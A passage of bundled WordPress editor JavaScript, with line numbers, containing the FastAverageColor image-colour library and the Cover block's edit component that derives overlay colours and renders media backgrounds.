13483 if (inRange(data[index], redIgnored, threshold) &&
13484 inRange(data[index + 1], greenIgnored, threshold) &&
13485 inRange(data[index + 2], blueIgnored, threshold) &&
13486 alphaInRange) {
13487 return true;
13488 }
13489 return false;
13490}
13491
13492function dominantAlgorithm(arr, len, options) {
13493 var colorHash = {};
13494 var divider = 24;
13495 var ignoredColor = options.ignoredColor;
13496 var step = options.step;
13497 var max = [0, 0, 0, 0, 0];
13498 for (var i = 0; i < len; i += step) {
13499 var red = arr[i];
13500 var green = arr[i + 1];
13501 var blue = arr[i + 2];
13502 var alpha = arr[i + 3];
13503 if (ignoredColor && isIgnoredColor(arr, i, ignoredColor)) {
13504 continue;
13505 }
13506 var key = Math.round(red / divider) + ',' +
13507 Math.round(green / divider) + ',' +
13508 Math.round(blue / divider);
13509 if (colorHash[key]) {
13510 colorHash[key] = [
13511 colorHash[key][0] + red * alpha,
13512 colorHash[key][1] + green * alpha,
13513 colorHash[key][2] + blue * alpha,
13514 colorHash[key][3] + alpha,
13515 colorHash[key][4] + 1
13516 ];
13517 }
13518 else {
13519 colorHash[key] = [red * alpha, green * alpha, blue * alpha, alpha, 1];
13520 }
13521 if (max[4] < colorHash[key][4]) {
13522 max = colorHash[key];
13523 }
13524 }
13525 var redTotal = max[0];
13526 var greenTotal = max[1];
13527 var blueTotal = max[2];
13528 var alphaTotal = max[3];
13529 var count = max[4];
13530 return alphaTotal ? [
13531 Math.round(redTotal / alphaTotal),
13532 Math.round(greenTotal / alphaTotal),
13533 Math.round(blueTotal / alphaTotal),
13534 Math.round(alphaTotal / count)
13535 ] : options.defaultColor;
13536}
13537
13538function simpleAlgorithm(arr, len, options) {
13539 var redTotal = 0;
13540 var greenTotal = 0;
13541 var blueTotal = 0;
13542 var alphaTotal = 0;
13543 var count = 0;
13544 var ignoredColor = options.ignoredColor;
13545 var step = options.step;
13546 for (var i = 0; i < len; i += step) {
13547 var alpha = arr[i + 3];
13548 var red = arr[i] * alpha;
13549 var green = arr[i + 1] * alpha;
13550 var blue = arr[i + 2] * alpha;
13551 if (ignoredColor && isIgnoredColor(arr, i, ignoredColor)) {
13552 continue;
13553 }
13554 redTotal += red;
13555 greenTotal += green;
13556 blueTotal += blue;
13557 alphaTotal += alpha;
13558 count++;
13559 }
13560 return alphaTotal ? [
13561 Math.round(redTotal / alphaTotal),
13562 Math.round(greenTotal / alphaTotal),
13563 Math.round(blueTotal / alphaTotal),
13564 Math.round(alphaTotal / count)
13565 ] : options.defaultColor;
13566}
13567
13568function sqrtAlgorithm(arr, len, options) {
13569 var redTotal = 0;
13570 var greenTotal = 0;
13571 var blueTotal = 0;
13572 var alphaTotal = 0;
13573 var count = 0;
13574 var ignoredColor = options.ignoredColor;
13575 var step = options.step;
13576 for (var i = 0; i < len; i += step) {
13577 var red = arr[i];
13578 var green = arr[i + 1];
13579 var blue = arr[i + 2];
13580 var alpha = arr[i + 3];
13581 if (ignoredColor && isIgnoredColor(arr, i, ignoredColor)) {
13582 continue;
13583 }
13584 redTotal += red * red * alpha;
13585 greenTotal += green * green * alpha;
13586 blueTotal += blue * blue * alpha;
13587 alphaTotal += alpha;
13588 count++;
13589 }
13590 return alphaTotal ? [
13591 Math.round(Math.sqrt(redTotal / alphaTotal)),
13592 Math.round(Math.sqrt(greenTotal / alphaTotal)),
13593 Math.round(Math.sqrt(blueTotal / alphaTotal)),
13594 Math.round(alphaTotal / count)
13595 ] : options.defaultColor;
13596}
13597
13598function getDefaultColor(options) {
13599 return getOption(options, 'defaultColor', [0, 0, 0, 0]);
13600}
13601function getOption(options, name, defaultValue) {
13602 return (options[name] === undefined ? defaultValue : options[name]);
13603}
13604
13605var MIN_SIZE = 10;
13606var MAX_SIZE = 100;
13607function isSvg(filename) {
13608 return filename.search(/\.svg(\?|$)/i) !== -1;
13609}
13610function getOriginalSize(resource) {
13611 if (isInstanceOfHTMLImageElement(resource)) {
13612 var width = resource.naturalWidth;
13613 var height = resource.naturalHeight;
13614 // For SVG images with only viewBox attribute
13615 if (!resource.naturalWidth && isSvg(resource.src)) {
13616 width = height = MAX_SIZE;
13617 }
13618 return {
13619 width: width,
13620 height: height,
13621 };
13622 }
13623 if (isInstanceOfHTMLVideoElement(resource)) {
13624 return {
13625 width: resource.videoWidth,
13626 height: resource.videoHeight
13627 };
13628 }
13629 return {
13630 width: resource.width,
13631 height: resource.height
13632 };
13633}
13634function getSrc(resource) {
13635 if (isInstanceOfHTMLCanvasElement(resource)) {
13636 return 'canvas';
13637 }
13638 if (isInstanceOfOffscreenCanvas(resource)) {
13639 return 'offscreencanvas';
13640 }
13641 if (isInstanceOfImageBitmap(resource)) {
13642 return 'imagebitmap';
13643 }
13644 return resource.src;
13645}
13646function isInstanceOfHTMLImageElement(resource) {
13647 return typeof HTMLImageElement !== 'undefined' && resource instanceof HTMLImageElement;
13648}
13649var hasOffscreenCanvas = typeof OffscreenCanvas !== 'undefined';
13650function isInstanceOfOffscreenCanvas(resource) {
13651 return hasOffscreenCanvas && resource instanceof OffscreenCanvas;
13652}
13653function isInstanceOfHTMLVideoElement(resource) {
13654 return typeof HTMLVideoElement !== 'undefined' && resource instanceof HTMLVideoElement;
13655}
13656function isInstanceOfHTMLCanvasElement(resource) {
13657 return typeof HTMLCanvasElement !== 'undefined' && resource instanceof HTMLCanvasElement;
13658}
13659function isInstanceOfImageBitmap(resource) {
13660 return typeof ImageBitmap !== 'undefined' && resource instanceof ImageBitmap;
13661}
13662function prepareSizeAndPosition(originalSize, options) {
13663 var srcLeft = getOption(options, 'left', 0);
13664 var srcTop = getOption(options, 'top', 0);
13665 var srcWidth = getOption(options, 'width', originalSize.width);
13666 var srcHeight = getOption(options, 'height', originalSize.height);
13667 var destWidth = srcWidth;
13668 var destHeight = srcHeight;
13669 if (options.mode === 'precision') {
13670 return {
13671 srcLeft: srcLeft,
13672 srcTop: srcTop,
13673 srcWidth: srcWidth,
13674 srcHeight: srcHeight,
13675 destWidth: destWidth,
13676 destHeight: destHeight
13677 };
13678 }
13679 var factor;
13680 if (srcWidth > srcHeight) {
13681 factor = srcWidth / srcHeight;
13682 destWidth = MAX_SIZE;
13683 destHeight = Math.round(destWidth / factor);
13684 }
13685 else {
13686 factor = srcHeight / srcWidth;
13687 destHeight = MAX_SIZE;
13688 destWidth = Math.round(destHeight / factor);
13689 }
13690 if (destWidth > srcWidth || destHeight > srcHeight ||
13691 destWidth < MIN_SIZE || destHeight < MIN_SIZE) {
13692 destWidth = srcWidth;
13693 destHeight = srcHeight;
13694 }
13695 return {
13696 srcLeft: srcLeft,
13697 srcTop: srcTop,
13698 srcWidth: srcWidth,
13699 srcHeight: srcHeight,
13700 destWidth: destWidth,
13701 destHeight: destHeight
13702 };
13703}
13704var isWebWorkers = typeof window === 'undefined';
13705function makeCanvas() {
13706 if (isWebWorkers) {
13707 return hasOffscreenCanvas ? new OffscreenCanvas(1, 1) : null;
13708 }
13709 return document.createElement('canvas');
13710}
13711
13712var ERROR_PREFIX = 'FastAverageColor: ';
13713function getError(message) {
13714 return Error(ERROR_PREFIX + message);
13715}
13716function outputError(error, silent) {
13717 if (!silent) {
13718 console.error(error);
13719 }
13720}
13721
13722var FastAverageColor = /** @class */ (function () {
13723 function FastAverageColor() {
13724 this.canvas = null;
13725 this.ctx = null;
13726 }
13727 /**
13728 * Get asynchronously the average color from not loaded image.
13729 */
13730 FastAverageColor.prototype.getColorAsync = function (resource, options) {
13731 if (!resource) {
13732 return Promise.reject(getError('call .getColorAsync() without resource.'));
13733 }
13734 if (typeof resource === 'string') {
13735 // Web workers
13736 if (typeof Image === 'undefined') {
13737 return Promise.reject(getError('resource as string is not supported in this environment'));
13738 }
13739 var img = new Image();
13740 img.crossOrigin = options && options.crossOrigin || '';
13741 img.src = resource;
13742 return this.bindImageEvents(img, options);
13743 }
13744 else if (isInstanceOfHTMLImageElement(resource) && !resource.complete) {
13745 return this.bindImageEvents(resource, options);
13746 }
13747 else {
13748 var result = this.getColor(resource, options);
13749 return result.error ? Promise.reject(result.error) : Promise.resolve(result);
13750 }
13751 };
13752 /**
13753 * Get the average color from images, videos and canvas.
13754 */
13755 FastAverageColor.prototype.getColor = function (resource, options) {
13756 options = options || {};
13757 var defaultColor = getDefaultColor(options);
13758 if (!resource) {
13759 var error = getError('call .getColor(null) without resource');
13760 outputError(error, options.silent);
13761 return this.prepareResult(defaultColor, error);
13762 }
13763 var originalSize = getOriginalSize(resource);
13764 var size = prepareSizeAndPosition(originalSize, options);
13765 if (!size.srcWidth || !size.srcHeight || !size.destWidth || !size.destHeight) {
13766 var error = getError("incorrect sizes for resource \"".concat(getSrc(resource), "\""));
13767 outputError(error, options.silent);
13768 return this.prepareResult(defaultColor, error);
13769 }
13770 if (!this.canvas) {
13771 this.canvas = makeCanvas();
13772 if (!this.canvas) {
13773 var error = getError('OffscreenCanvas is not supported in this browser');
13774 outputError(error, options.silent);
13775 return this.prepareResult(defaultColor, error);
13776 }
13777 }
13778 if (!this.ctx) {
13779 this.ctx = this.canvas.getContext('2d', { willReadFrequently: true });
13780 if (!this.ctx) {
13781 var error = getError('Canvas Context 2D is not supported in this browser');
13782 outputError(error, options.silent);
13783 return this.prepareResult(defaultColor);
13784 }
13785 this.ctx.imageSmoothingEnabled = false;
13786 }
13787 this.canvas.width = size.destWidth;
13788 this.canvas.height = size.destHeight;
13789 try {
13790 this.ctx.clearRect(0, 0, size.destWidth, size.destHeight);
13791 this.ctx.drawImage(resource, size.srcLeft, size.srcTop, size.srcWidth, size.srcHeight, 0, 0, size.destWidth, size.destHeight);
13792 var bitmapData = this.ctx.getImageData(0, 0, size.destWidth, size.destHeight).data;
13793 return this.prepareResult(this.getColorFromArray4(bitmapData, options));
13794 }
13795 catch (originalError) {
13796 var error = getError("security error (CORS) for resource ".concat(getSrc(resource), ".\nDetails: https://developer.mozilla.org/en/docs/Web/HTML/CORS_enabled_image"));
13797 outputError(error, options.silent);
13798 !options.silent && console.error(originalError);
13799 return this.prepareResult(defaultColor, error);
13800 }
13801 };
13802 /**
13803 * Get the average color from a array when 1 pixel is 4 bytes.
13804 */
13805 FastAverageColor.prototype.getColorFromArray4 = function (arr, options) {
13806 options = options || {};
13807 var bytesPerPixel = 4;
13808 var arrLength = arr.length;
13809 var defaultColor = getDefaultColor(options);
13810 if (arrLength < bytesPerPixel) {
13811 return defaultColor;
13812 }
13813 var len = arrLength - arrLength % bytesPerPixel;
13814 var step = (options.step || 1) * bytesPerPixel;
13815 var algorithm;
13816 switch (options.algorithm || 'sqrt') {
13817 case 'simple':
13818 algorithm = simpleAlgorithm;
13819 break;
13820 case 'sqrt':
13821 algorithm = sqrtAlgorithm;
13822 break;
13823 case 'dominant':
13824 algorithm = dominantAlgorithm;
13825 break;
13826 default:
13827 throw getError("".concat(options.algorithm, " is unknown algorithm"));
13828 }
13829 return algorithm(arr, len, {
13830 defaultColor: defaultColor,
13831 ignoredColor: prepareIgnoredColor(options.ignoredColor),
13832 step: step
13833 });
13834 };
13835 /**
13836 * Get color data from value ([r, g, b, a]).
13837 */
13838 FastAverageColor.prototype.prepareResult = function (value, error) {
13839 var rgb = value.slice(0, 3);
13840 var rgba = [value[0], value[1], value[2], value[3] / 255];
13841 var isDarkColor = isDark(value);
13842 return {
13843 value: [value[0], value[1], value[2], value[3]],
13844 rgb: 'rgb(' + rgb.join(',') + ')',
13845 rgba: 'rgba(' + rgba.join(',') + ')',
13846 hex: arrayToHex(rgb),
13847 hexa: arrayToHex(value),
13848 isDark: isDarkColor,
13849 isLight: !isDarkColor,
13850 error: error,
13851 };
13852 };
13853 /**
13854 * Destroy the instance.
13855 */
13856 FastAverageColor.prototype.destroy = function () {
13857 if (this.canvas) {
13858 this.canvas.width = 1;
13859 this.canvas.height = 1;
13860 this.canvas = null;
13861 }
13862 this.ctx = null;
13863 };
13864 FastAverageColor.prototype.bindImageEvents = function (resource, options) {
13865 var _this = this;
13866 return new Promise(function (resolve, reject) {
13867 var onload = function () {
13868 unbindEvents();
13869 var result = _this.getColor(resource, options);
13870 if (result.error) {
13871 reject(result.error);
13872 }
13873 else {
13874 resolve(result);
13875 }
13876 };
13877 var onerror = function () {
13878 unbindEvents();
13879 reject(getError("Error loading image \"".concat(resource.src, "\".")));
13880 };
13881 var onabort = function () {
13882 unbindEvents();
13883 reject(getError("Image \"".concat(resource.src, "\" loading aborted")));
13884 };
13885 var unbindEvents = function () {
13886 resource.removeEventListener('load', onload);
13887 resource.removeEventListener('error', onerror);
13888 resource.removeEventListener('abort', onabort);
13889 };
13890 resource.addEventListener('load', onload);
13891 resource.addEventListener('error', onerror);
13892 resource.addEventListener('abort', onabort);
13893 });
13894 };
13895 return FastAverageColor;
13896}());
13897
13898
13899
13900;// external ["wp","hooks"]
13901const external_wp_hooks_namespaceObject = window["wp"]["hooks"];
13902;// ./node_modules/@wordpress/block-library/build-module/cover/edit/color-utils.js
13903
13904
13905
13906
13907
13908k([names]);
13909const DEFAULT_BACKGROUND_COLOR = "#FFF";
13910const DEFAULT_OVERLAY_COLOR = "#000";
13911function compositeSourceOver(source, dest) {
13912 return {
13913 r: source.r * source.a + dest.r * dest.a * (1 - source.a),
13914 g: source.g * source.a + dest.g * dest.a * (1 - source.a),
13915 b: source.b * source.a + dest.b * dest.a * (1 - source.a),
13916 a: source.a + dest.a * (1 - source.a)
13917 };
13918}
13919function retrieveFastAverageColor() {
13920 if (!retrieveFastAverageColor.fastAverageColor) {
13921 retrieveFastAverageColor.fastAverageColor = new FastAverageColor();
13922 }
13923 return retrieveFastAverageColor.fastAverageColor;
13924}
13925const getMediaColor = memize(async (url) => {
13926 if (!url) {
13927 return DEFAULT_BACKGROUND_COLOR;
13928 }
13929 const { r, g, b, a } = w(DEFAULT_BACKGROUND_COLOR).toRgb();
13930 try {
13931 const imgCrossOrigin = (0,external_wp_hooks_namespaceObject.applyFilters)(
13932 "media.crossOrigin",
13933 void 0,
13934 url
13935 );
13936 const color = await retrieveFastAverageColor().getColorAsync(url, {
13937 // The default color is white, which is the color
13938 // that is returned if there's an error.
13939 // colord returns alpga 0-1, FAC needs 0-255
13940 defaultColor: [r, g, b, a * 255],
13941 // Errors that come up don't reject the promise,
13942 // so error logging has to be silenced
13943 // with this option.
13944 silent: "production" === "production",
13945 crossOrigin: imgCrossOrigin
13946 });
13947 return color.hex;
13948 } catch (error) {
13949 return DEFAULT_BACKGROUND_COLOR;
13950 }
13951});
13952function compositeIsDark(dimRatio, overlayColor, backgroundColor) {
13953 if (overlayColor === backgroundColor || dimRatio === 100) {
13954 return w(overlayColor).isDark();
13955 }
13956 const overlay = w(overlayColor).alpha(dimRatio / 100).toRgb();
13957 const background = w(backgroundColor).toRgb();
13958 const composite = compositeSourceOver(overlay, background);
13959 return w(composite).isDark();
13960}
13961
13962
13963;// ./node_modules/@wordpress/block-library/build-module/cover/edit/index.js
13964
13965
13966
13967
13968
13969
13970
13971
13972
13973
13974
13975
13976
13977
13978
13979
13980
13981
13982function getInnerBlocksTemplate(attributes) {
13983 return [
13984 [
13985 "core/paragraph",
13986 {
13987 align: "center",
13988 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write title\u2026"),
13989 ...attributes
13990 }
13991 ]
13992 ];
13993}
13994const isTemporaryMedia = (id, url) => !id && (0,external_wp_blob_namespaceObject.isBlobURL)(url);
13995function CoverEdit({
13996 attributes,
13997 clientId,
13998 isSelected,
13999 overlayColor,
14000 setAttributes,
14001 setOverlayColor,
14002 toggleSelection,
14003 context: { postId, postType }
14004}) {
14005 const {
14006 contentPosition,
14007 id,
14008 url: originalUrl,
14009 backgroundType: originalBackgroundType,
14010 useFeaturedImage,
14011 dimRatio,
14012 focalPoint,
14013 hasParallax,
14014 isDark,
14015 isRepeated,
14016 minHeight,
14017 minHeightUnit,
14018 alt,
14019 allowedBlocks,
14020 templateLock,
14021 tagName: TagName = "div",
14022 isUserOverlayColor,
14023 sizeSlug,
14024 poster
14025 } = attributes;
14026 const [featuredImage] = (0,external_wp_coreData_namespaceObject.useEntityProp)(
14027 "postType",
14028 postType,
14029 "featured_media",
14030 postId
14031 );
14032 const { getSettings } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
14033 const { __unstableMarkNextChangeAsNotPersistent } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
14034 const { media } = (0,external_wp_data_namespaceObject.useSelect)(
14035 (select) => {
14036 return {
14037 media: featuredImage && useFeaturedImage ? select(external_wp_coreData_namespaceObject.store).getEntityRecord(
14038 "postType",
14039 "attachment",
14040 featuredImage,
14041 {
14042 context: "view"
14043 }
14044 ) : void 0
14045 };
14046 },
14047 [featuredImage, useFeaturedImage]
14048 );
14049 const mediaUrl = media?.media_details?.sizes?.[sizeSlug]?.source_url ?? media?.source_url;
14050 (0,external_wp_element_namespaceObject.useEffect)(() => {
14051 (async () => {
14052 if (!useFeaturedImage) {
14053 return;
14054 }
14055 const averageBackgroundColor = await getMediaColor(mediaUrl);
14056 let newOverlayColor = overlayColor.color;
14057 if (!isUserOverlayColor) {
14058 newOverlayColor = averageBackgroundColor;
14059 __unstableMarkNextChangeAsNotPersistent();
14060 setOverlayColor(newOverlayColor);
14061 }
14062 const newIsDark = compositeIsDark(
14063 dimRatio,
14064 newOverlayColor,
14065 averageBackgroundColor
14066 );
14067 __unstableMarkNextChangeAsNotPersistent();
14068 setAttributes({
14069 isDark: newIsDark,
14070 isUserOverlayColor: isUserOverlayColor || false
14071 });
14072 })();
14073 }, [mediaUrl]);
14074 const url = useFeaturedImage ? mediaUrl : (
14075 // Ensure the url is not malformed due to sanitization through `wp_kses`.
14076 originalUrl?.replaceAll("&", "&")
14077 );
14078 const backgroundType = useFeaturedImage ? IMAGE_BACKGROUND_TYPE : originalBackgroundType;
14079 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
14080 const { gradientClass, gradientValue } = (0,external_wp_blockEditor_namespaceObject.__experimentalUseGradient)();
14081 const onSelectMedia = async (newMedia) => {
14082 const mediaAttributes = attributesFromMedia(newMedia);
14083 const isImage = [newMedia?.type, newMedia?.media_type].includes(
14084 IMAGE_BACKGROUND_TYPE
14085 );
14086 const averageBackgroundColor = await getMediaColor(
14087 isImage ? newMedia?.url : void 0
14088 );
14089 let newOverlayColor = overlayColor.color;
14090 if (!isUserOverlayColor) {
14091 newOverlayColor = averageBackgroundColor;
14092 setOverlayColor(newOverlayColor);
14093 __unstableMarkNextChangeAsNotPersistent();
14094 }
14095 const newDimRatio = originalUrl === void 0 && dimRatio === 100 ? 50 : dimRatio;
14096 const newIsDark = compositeIsDark(
14097 newDimRatio,
14098 newOverlayColor,
14099 averageBackgroundColor
14100 );
14101 if (backgroundType === IMAGE_BACKGROUND_TYPE && mediaAttributes?.id) {
14102 const { imageDefaultSize } = getSettings();
14103 if (sizeSlug && (newMedia?.sizes?.[sizeSlug] || newMedia?.media_details?.sizes?.[sizeSlug])) {
14104 mediaAttributes.sizeSlug = sizeSlug;
14105 mediaAttributes.url = newMedia?.sizes?.[sizeSlug]?.url || newMedia?.media_details?.sizes?.[sizeSlug]?.source_url;
14106 } else if (newMedia?.sizes?.[imageDefaultSize] || newMedia?.media_details?.sizes?.[imageDefaultSize]) {
14107 mediaAttributes.sizeSlug = imageDefaultSize;
14108 mediaAttributes.url = newMedia?.sizes?.[imageDefaultSize]?.url || newMedia?.media_details?.sizes?.[imageDefaultSize]?.source_url;
14109 } else {
14110 mediaAttributes.sizeSlug = DEFAULT_MEDIA_SIZE_SLUG;
14111 }
14112 }
14113 setAttributes({
14114 ...mediaAttributes,
14115 focalPoint: void 0,
14116 useFeaturedImage: void 0,
14117 dimRatio: newDimRatio,
14118 isDark: newIsDark,
14119 isUserOverlayColor: isUserOverlayColor || false
14120 });
14121 };
14122 const onClearMedia = () => {
14123 let newOverlayColor = overlayColor.color;
14124 if (!isUserOverlayColor) {
14125 newOverlayColor = DEFAULT_OVERLAY_COLOR;
14126 setOverlayColor(void 0);
14127 __unstableMarkNextChangeAsNotPersistent();
14128 }
14129 const newIsDark = compositeIsDark(
14130 dimRatio,
14131 newOverlayColor,
14132 DEFAULT_BACKGROUND_COLOR
14133 );
14134 setAttributes({
14135 url: void 0,
14136 id: void 0,
14137 backgroundType: void 0,
14138 focalPoint: void 0,
14139 hasParallax: void 0,
14140 isRepeated: void 0,
14141 useFeaturedImage: void 0,
14142 isDark: newIsDark
14143 });
14144 };
14145 const onSetOverlayColor = async (newOverlayColor) => {
14146 const averageBackgroundColor = await getMediaColor(url);
14147 const newIsDark = compositeIsDark(
14148 dimRatio,
14149 newOverlayColor,
14150 averageBackgroundColor
14151 );
14152 setOverlayColor(newOverlayColor);
14153 __unstableMarkNextChangeAsNotPersistent();
14154 setAttributes({
14155 isUserOverlayColor: true,
14156 isDark: newIsDark
14157 });
14158 };
14159 const onUpdateDimRatio = async (newDimRatio) => {
14160 const averageBackgroundColor = await getMediaColor(url);
14161 const newIsDark = compositeIsDark(
14162 newDimRatio,
14163 overlayColor.color,
14164 averageBackgroundColor
14165 );
14166 setAttributes({
14167 dimRatio: newDimRatio,
14168 isDark: newIsDark
14169 });
14170 };
14171 const onUploadError = (message) => {
14172 createErrorNotice(message, { type: "snackbar" });
14173 };
14174 const isUploadingMedia = isTemporaryMedia(id, url);
14175 const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
14176 const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
14177 const blockEditingMode = (0,external_wp_blockEditor_namespaceObject.useBlockEditingMode)();
14178 const hasNonContentControls = blockEditingMode === "default";
14179 const [resizeListener, { height, width }] = (0,external_wp_compose_namespaceObject.useResizeObserver)();
14180 const resizableBoxDimensions = (0,external_wp_element_namespaceObject.useMemo)(() => {
14181 return {
14182 height: minHeightUnit === "px" && minHeight ? minHeight : "auto",
14183 width: "auto"
14184 };
14185 }, [minHeight, minHeightUnit]);
14186 const minHeightWithUnit = minHeight && minHeightUnit ? `${minHeight}${minHeightUnit}` : minHeight;
14187 const isImgElement = !(hasParallax || isRepeated);
14188 const style = {
14189 minHeight: minHeightWithUnit || void 0
14190 };
14191 const backgroundImage = url ? `url(${url})` : void 0;
14192 const backgroundPosition = mediaPosition(focalPoint);
14193 const bgStyle = { backgroundColor: overlayColor.color };
14194 const mediaStyle = {
14195 objectPosition: focalPoint && isImgElement ? mediaPosition(focalPoint) : void 0
14196 };
14197 const hasBackground = !!(url || overlayColor.color || gradientValue);
14198 const hasInnerBlocks = (0,external_wp_data_namespaceObject.useSelect)(
14199 (select) => select(external_wp_blockEditor_namespaceObject.store).getBlock(clientId).innerBlocks.length > 0,
14200 [clientId]
14201 );
14202 const ref = (0,external_wp_element_namespaceObject.useRef)();
14203 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({ ref });
14204 const [fontSizes] = (0,external_wp_blockEditor_namespaceObject.useSettings)("typography.fontSizes");
14205 const hasFontSizes = fontSizes?.length > 0;
14206 const innerBlocksTemplate = getInnerBlocksTemplate({
14207 fontSize: hasFontSizes ? "large" : void 0
14208 });
14209 const innerBlocksProps = (0,external_wp_blockEditor_namespaceObject.useInnerBlocksProps)(
14210 {
14211 className: "wp-block-cover__inner-container"
14212 },
14213 {
14214 // Avoid template sync when the `templateLock` value is `all` or `contentOnly`.
14215 // See: https://github.com/WordPress/gutenberg/pull/45632
14216 template: !hasInnerBlocks ? innerBlocksTemplate : void 0,
14217 templateInsertUpdatesSelection: true,
14218 allowedBlocks,
14219 templateLock,
14220 dropZoneElement: ref.current
14221 }
14222 );
14223 const mediaElement = (0,external_wp_element_namespaceObject.useRef)();
14224 const currentSettings = {
14225 isVideoBackground,
14226 isImageBackground,
14227 mediaElement,
14228 hasInnerBlocks,
14229 url,
14230 isImgElement,
14231 overlayColor
14232 };
14233 const toggleUseFeaturedImage = async () => {
14234 const newUseFeaturedImage = !useFeaturedImage;
14235 const averageBackgroundColor = newUseFeaturedImage ? await getMediaColor(mediaUrl) : DEFAULT_BACKGROUND_COLOR;
14236 const newOverlayColor = !isUserOverlayColor ? averageBackgroundColor : overlayColor.color;
14237 if (!isUserOverlayColor) {
14238 if (newUseFeaturedImage) {
14239 setOverlayColor(newOverlayColor);
14240 } else {
14241 setOverlayColor(void 0);
14242 }
14243 __unstableMarkNextChangeAsNotPersistent();
14244 }
14245 const newDimRatio = dimRatio === 100 ? 50 : dimRatio;
14246 const newIsDark = compositeIsDark(
14247 newDimRatio,
14248 newOverlayColor,
14249 averageBackgroundColor
14250 );
14251 setAttributes({
14252 id: void 0,
14253 url: void 0,
14254 useFeaturedImage: newUseFeaturedImage,
14255 dimRatio: newDimRatio,
14256 backgroundType: useFeaturedImage ? IMAGE_BACKGROUND_TYPE : void 0,
14257 isDark: newIsDark
14258 });
14259 };
14260 const blockControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14261 CoverBlockControls,
14262 {
14263 attributes,
14264 setAttributes,
14265 onSelectMedia,
14266 currentSettings,
14267 toggleUseFeaturedImage,
14268 onClearMedia,
14269 blockEditingMode
14270 }
14271 );
14272 const inspectorControls = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14273 CoverInspectorControls,
14274 {
14275 attributes,
14276 setAttributes,
14277 clientId,
14278 setOverlayColor: onSetOverlayColor,
14279 coverRef: ref,
14280 currentSettings,
14281 toggleUseFeaturedImage,
14282 updateDimRatio: onUpdateDimRatio,
14283 onClearMedia,
14284 featuredImage: media
14285 }
14286 );
14287 const resizableCoverProps = {
14288 className: "block-library-cover__resize-container",
14289 clientId,
14290 height,
14291 minHeight: minHeightWithUnit,
14292 onResizeStart: () => {
14293 setAttributes({ minHeightUnit: "px" });
14294 toggleSelection(false);
14295 },
14296 onResize: (value) => {
14297 setAttributes({ minHeight: value });
14298 },
14299 onResizeStop: (newMinHeight) => {
14300 toggleSelection(true);
14301 setAttributes({ minHeight: newMinHeight });
14302 },
14303 // Hide the resize handle if an aspect ratio is set, as the aspect ratio takes precedence.
14304 showHandle: !attributes.style?.dimensions?.aspectRatio,
14305 size: resizableBoxDimensions,
14306 width
14307 };
14308 if (!useFeaturedImage && !hasInnerBlocks && !hasBackground) {
14309 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
14310 blockControls,
14311 inspectorControls,
14312 hasNonContentControls && isSelected && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(ResizableCoverPopover, { ...resizableCoverProps }),
14313 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
14314 TagName,
14315 {
14316 ...blockProps,
14317 className: dist_clsx("is-placeholder", blockProps.className),
14318 style: {
14319 ...blockProps.style,
14320 minHeight: minHeightWithUnit || void 0
14321 },
14322 children: [
14323 resizeListener,
14324 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14325 CoverPlaceholder,
14326 {
14327 onSelectMedia,
14328 onError: onUploadError,
14329 toggleUseFeaturedImage,
14330 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-cover__placeholder-background-options", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14331 external_wp_blockEditor_namespaceObject.ColorPalette,
14332 {
14333 disableCustomColors: true,
14334 value: overlayColor.color,
14335 onChange: onSetOverlayColor,
14336 clearable: false,
14337 asButtons: true,
14338 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Overlay color")
14339 }
14340 ) })
14341 }
14342 )
14343 ]
14344 }
14345 )
14346 ] });
14347 }
14348 const classes = dist_clsx(
14349 {
14350 "is-dark-theme": isDark,
14351 "is-light": !isDark,
14352 "is-transient": isUploadingMedia,
14353 "has-parallax": hasParallax,
14354 "is-repeated": isRepeated,
14355 "has-custom-content-position": !isContentPositionCenter(contentPosition)
14356 },
14357 getPositionClassName(contentPosition)
14358 );
14359 const showOverlay = url || !useFeaturedImage || useFeaturedImage && !url;
14360 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
14361 blockControls,
14362 inspectorControls,
14363 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
14364 TagName,
14365 {
14366 ...blockProps,
14367 className: dist_clsx(classes, blockProps.className),
14368 style: { ...style, ...blockProps.style },
14369 "data-url": url,
14370 children: [
14371 resizeListener,
14372 !url && useFeaturedImage && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14373 external_wp_components_namespaceObject.Placeholder,
14374 {
14375 className: "wp-block-cover__image--placeholder-image",
14376 withIllustration: true
14377 }
14378 ),
14379 url && isImageBackground && (isImgElement ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14380 "img",
14381 {
14382 ref: mediaElement,
14383 className: "wp-block-cover__image-background",
14384 alt,
14385 src: url,
14386 style: mediaStyle
14387 }
14388 ) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14389 "div",
14390 {
14391 ref: mediaElement,
14392 role: alt ? "img" : void 0,
14393 "aria-label": alt ? alt : void 0,
14394 className: dist_clsx(
14395 classes,
14396 "wp-block-cover__image-background"
14397 ),
14398 style: { backgroundImage, backgroundPosition }
14399 }
14400 )),
14401 url && isVideoBackground && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
14402 "video",
14403 {
14404 ref: mediaElement,
14405 className: "wp-block-cover__video-background",
14406 autoPlay: true,
